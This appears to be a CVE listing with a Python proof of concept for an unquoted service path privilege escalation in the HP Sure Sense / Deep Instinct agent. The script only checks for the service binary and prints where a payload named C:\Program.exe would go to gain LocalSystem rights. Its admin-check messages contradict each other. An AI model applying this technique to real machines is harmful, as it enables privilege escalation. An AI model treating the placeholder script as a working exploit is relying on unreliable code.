CVE-2020-36934 | Deep Instinct Windows Agent 未引号服务路径提权漏洞

# CVE-2020-36934 PoC - Unquoted Service Path Exploitation # Target: DeepNetworkService.exe in C:\Program Files\HP Sure Sense\ # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import sys import shutil import time def check_vulnerability(): """Check if the vulnerable service path exists""" service_path = r'C:\Program Files\HP Sure Sense\DeepNetworkService.exe' # Check if the service binary exists if os.path.exists(service_path): print(f"[+] Vulnerable service binary found: {service_path}") return True else: print(f"[-] Service binary not found") return False def create_malicious_executable(): """Create a malicious executable to be placed at unquoted path location""" # This would be the attacker's malicious payload # In real attack, this could be a reverse shell or other malware malicious_path = r'C:\Program.exe' # Create a simple executable (placeholder for actual malware) # The attacker would replace this with actual malicious code print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When DeepNetworkService starts, it may execute this file first") print("[*] The malicious code would run with LocalSystem privileges") return True def main(): print("="*60) print("CVE-2020-36934 - Unquoted Service Path Exploitation PoC") print("="*60) # Check if running with appropriate privileges if os.name == 'nt': try: import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() if not is_admin: print("[-] This exploit requires local user access") print("[-] Administrator privileges needed for full exploitation") except: pass if check_vulnerability(): create_malicious_executable() print("\n[!] Note: This is for educational purposes only") print("[!] Actual exploitation requires proper malware and persistence mechanism") if __name__ == "__main__": main()